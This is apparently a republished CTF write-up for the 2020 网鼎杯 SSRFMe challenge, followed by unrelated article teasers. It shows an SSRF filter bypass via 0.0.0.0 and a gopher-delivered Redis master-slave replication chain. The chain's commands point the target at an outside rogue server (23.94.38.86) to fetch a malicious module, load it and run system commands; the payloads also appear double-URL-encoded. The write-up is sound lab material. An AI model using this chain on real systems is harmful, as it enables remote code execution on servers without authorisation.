网鼎杯 2020 玄武组 SSRFMe

复习一下常见的redis主从复制
主要是redis伪服务器的选择和一些小坑点

<?php  
function check_inner_ip($url)  
{    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);  if (!$match_result)  {  die('url fomat error');  }  try  {        $url_parse=parse_url($url);  }  catch(Exception $e)  {  die('url fomat error');  return false;  }    $hostname=$url_parse['host'];    $ip=gethostbyname($hostname);    $int_ip=ip2long($ip);  return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;  
}  function safe_request_url($url)  
{  if (check_inner_ip($url))  {  echo $url.' is inner ip';  }  else  {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_HEADER, 0);        $output = curl_exec($ch);        $result_info = curl_getinfo($ch);  if ($result_info['redirect_url'])  {            safe_request_url($result_info['redirect_url']);  }        curl_close($ch);        var_dump($output);  }  }  
if(isset($_GET['url'])){    $url = $_GET['url'];  if(!empty($url)){        safe_request_url($url);  }  
}  
else{    highlight_file(__FILE__);  
}  
// Please visit hint.php locally.  
?>

存在 curl_exec 执行 ssrf
对ip网段进行限制

return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;

可以用 0.0.0.0代表本机地址绕过
访问 hint.php 获取提示
http://node4.anna.nssctf.cn:28207/?url=http://0.0.0.0/hint.php
image.png
存在redis 服务 (6379) 有授权密码是root
image.png
确实需要身份验证
image.png
root验证通过
接下来就是常规的redis主从复制流程
类似 mysql uqf提权 通过自定义函数 进行命令执行(root)
特别的 打redis主从复制不需要 遵循 redis RESP协议协议
直接redis 命令打就是了
这里 redis 伪服务端用的是 原版作者的改良版
https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --server-only
image.png
客户端先设置文件名,连接恶意Redis服务器

auth root
config set dir /tmp/
config set dbfilename exp.so
slaveof 23.94.38.86 21000
quit

两次url编码后

%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%33%32%25%33%33%25%32%65%25%33%39%25%33%34%25%32%65%25%33%33%25%33%38%25%32%65%25%33%38%25%33%36%25%32%30%25%33%32%25%33%31%25%33%30%25%33%30%25%33%30%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34

用gopher 传递tcp数据流
image.png
image.png

执行成功 写入 自定义函数 到 /tmp/exp.so
接下来加载exp.so,执行任意命令即可

auth root
module load /tmp/exp.so
slaveof no one
system.exec 'env'
quit

两次url编码后

%25%36%31%25%37%35%25%37%34%25%36%38%25%32%30%25%37%32%25%36%66%25%36%66%25%37%34%25%30%61%25%36%64%25%36%66%25%36%34%25%37%35%25%36%63%25%36%35%25%32%30%25%36%63%25%36%66%25%36%31%25%36%34%25%32%30%25%32%66%25%37%34%25%36%64%25%37%30%25%32%66%25%36%35%25%37%38%25%37%30%25%32%65%25%37%33%25%36%66%25%30%61%25%37%33%25%36%63%25%36%31%25%37%36%25%36%35%25%36%66%25%36%36%25%32%30%25%36%65%25%36%66%25%32%30%25%36%66%25%36%65%25%36%35%25%30%61%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%65%25%36%35%25%37%38%25%36%35%25%36%33%25%32%30%25%32%37%25%36%35%25%36%65%25%37%36%25%32%37%25%30%61%25%37%31%25%37%35%25%36%39%25%37%34

image.png
成功执行了系统命令env

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/23572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【iOS】——Runtime学习

文章目录 一、Runtime介绍二、Runtime消息传递三、实例对象、类对象、元类对象四、isa_t结构体的具体实现五、cache_t的具体实现六、class_data_bits_t的具体实现七、Runtime消息转发动态方法解析备用接收者完整消息转发 一、Runtime介绍 iOS的Runtime&#xff0c;通常称为Obj…

带你了解消防安全与应急救援,2024北京消防展6月盛大开启

带你了解消防安全与应急救援&#xff0c;2024北京国际消防展6.26盛大开启 在日益关注安全问题的今天&#xff0c;消防安全与应急救援已经成为社会发展的重要一环。为了提高全民消防安全意识&#xff0c;推动应急救援技术的发展&#xff0c;2024年北京国际消防展将于6月26日盛大…

纷享销客安全体系:物理与环境安全

纷享销客的物理设备托管在经过严格准入制度授权的TIER3级别以上的专业数据中心&#xff0c;这些数据中心均通过了等保三级与IS027001安全认证&#xff0c;确保电力、制冷等基础设施提供相应级别的冗余&#xff0c;以增强IDC环境的安全性。 业务操作系统平台采用当前广泛使用的…

点云获取pcl点云以某个点云的已经分块得区域的交集

首先将点云分块得到区域后&#xff0c;获取每个块的box的最大最小点云&#xff0c;然后提取box内的点云。 pcl::IndicesPtr indexes(new pcl::Indices());pcl::getPointsInBox(*cloud_1, min_pt, max_pt, *indexes);// --------------------------取框内和框外点--------------…

手持终端RFID电子标签读写器超高频手持机

RFID手持机具备RFID读写功能&#xff0c;可以对RFID标签进行识读&#xff0c;是有特定功能的PDA(便携式移动终端)。 作为现代化信息管理工具的重要组成部分&#xff0c;其强大的功能和便捷的操作性正在越来越多的领域得到应用。从物流仓储到零售管理&#xff0c;从生产制造到医…

OZON海关税费是多少,OZON要交关税吗

在跨境电商领域&#xff0c;OZON作为俄罗斯知名的电商平台&#xff0c;吸引了众多国内外商家的目光。然而&#xff0c;当商家考虑在OZON平台上开展业务时&#xff0c;一个不可回避的问题就是海关税费和关税问题。本文将详细探讨OZON海关税费的相关内容&#xff0c;帮助商家更好…

使用C++实现YOLO图像分类:从环境搭建到性能评估的完整指南

⭐️我叫忆_恒心&#xff0c;一名喜欢书写博客的研究生&#x1f468;‍&#x1f393;。 如果觉得本文能帮到您&#xff0c;麻烦点个赞&#x1f44d;呗&#xff01; 近期会不断在专栏里进行更新讲解博客~~~ 有什么问题的小伙伴 欢迎留言提问欧&#xff0c;喜欢的小伙伴给个三连支…

面试题------>JVM虚拟机!!!

一、Java对象内存布局 二、JVM 内存结构 程序计数器: 线程私有的(每个线程都有一个自己的程序计数器),是一个指针.代码运行,执行命令.而每个命令都是有行号的,会使用程序计数器来记录命令执行到多少行了.记录代码执行的位置. Java虚拟机栈: 线程私有的(每个线程都有一个自己…

Vitis HLS 学习笔记--接口聚合与解聚-AXI主接口

目录 1. 简介 2. 用法及语法 3. 详细解读 4. 总结 1. 简介 在使用 Vitis HLS 工具进行硬件设计时&#xff0c;如果你在接口上使用了结构体&#xff0c;工具会自动把结构体里的所有元素组合成一个整体。就像把一堆零件组装成一个玩具一样。这样做的好处是&#xff0c;数据可…

mysql中 redo日志(上)

大家好。我们知道InnoDB 存储引擎是以页为单位来管理存储空间的&#xff0c;我们进行的增删改查操作其实本质上都是在访问页面。而在真正访问页面之前&#xff0c;需要把在磁盘上的页缓存到内存中的Buffer Pool之后才可以访问。那么我们思考一个问题&#xff1a;如果我们只在内…

沃通CA参与《证书透明规范》及《自动化证书管理规范》两项商密标准制定

沃通CA加入由零信技术牵头的两项商密标准《证书透明规范》及《自动化证书管理规范》编制工作。沃通CA作为国内依法设立的电子认证服务机构与领先的SSL证书服务商&#xff0c;很荣幸参与到两项商密标准的编制工作中&#xff0c;不仅提供多年SSL证书领域的应用经验&#xff0c;还…

AUTOSAR网络管理报文(学习笔记)

文章分为三个部分来 简绍AUTOSAR的网络管理的优点或缺点 AUTOSAR全称AUTomotive Open System ARchitecture&#xff08;汽车开放系统架构&#xff09;。有一点需要注意 注意看全称中的英文大写部分&#xff0c;写全称时必须要按照上面的格式写&#xff0c;不能只写首字母大写…

--- JAVA 多态 ---

多态&#xff0c;顾名思义就时有多种形态&#xff0c;那咋样才嫩共有多种形态呢&#xff0c;再java中就是用不同的对象去调用同一个方法&#xff0c;产生了不同的结果。 看这段代码&#xff0c;我调用的是同一个方法&#xff0c;且只是传入的对象的不同&#xff0c;但是产生了不…

Linux网络服务之SSH(远程访问及控制)

ssh远程管理&#xff1a; ssh是一种安全通道协议&#xff0c;用来实现字符界面的远程登录。远程复制&#xff0c;远程文本传输。 ssh对通信双方的数据进行了加密 用户名和密码登录 密钥对认证方式&#xff08;可以实现免密登录&#xff09; ssh 22 网络层 传输层 数据传输…

【成品设计】基于红外线的目标跟踪无线测温系统设计

《基于红外线的目标跟踪无线测温系统设计》 整体功能&#xff1a; A端&#xff1a;无线跟踪端 主控&#xff1a;采用STM32F103C8T6单片机作为核心控制。360度编码模块数字脉冲输出红外解码编码模块OLED屏幕。 B端&#xff1a;无线待测端 主控&#xff1a;采用STM32F103C8T…

C语言杂谈:函数栈帧,函数调用时到底发生了什么

我们都知道在调用函数时&#xff0c;要为函数在栈上开辟空间&#xff0c;函数后续内容都会在栈帧空间中保存&#xff0c;如非静态局部变量&#xff0c;返回值等。这段空间就叫栈帧。 当函数调用&#xff0c;就会开辟栈帧空间&#xff0c;函数返回时&#xff0c;栈帧空间就会被释…

SpringBoot——整合Servlet的三大组件:过滤器(Filter)

目录 过滤器 一、用过滤器检查用户是否登录 LoginFilter自定义过滤器 FilterConfig配置类 FilterController控制器 SpringbootFilterApplication启动类 二、用过滤器统计资源访问量 LoginFilter FilterController 在开发SpringBoot项目时&#xff0c;开发人员经常需…

数据动态变化时实现多选及回显

<template><el-dialog title"设置权限" :visible.sync"showDialog" :close-on-click-modal"false" :append-to-body"true" width"800px"><div v-loading"loading"><el-radio-group v-model&…

Servlet实现会话追踪登录功能(结合JDBC)

目录 1.技术要求 2.关于会话Session 生活例子 代码体现 1.存储到session 2.从session中拿出 3.完成登录功能 4.利用Session作追踪 关于jstl应用 关于EL表达式应用 注意 5.测试 1.技术要求 核心&#xff1a; &#xff08;1&#xff09;Servlet项目的搭建 &#x…

C++---模板进阶(非类型模板参数,模板的特化,模板分离编译)

我们都学习和使用过模板&#xff0c;而这篇文章我们来将一些更深入的知识。在此之前&#xff0c;我们在使用C编程时可以看到模板是随处可见的&#xff0c;它能支持泛型编程。模板包括函数模板和类模板&#xff0c;我们有的人可能会说是模板函数和模板类&#xff0c;但严格讲这样…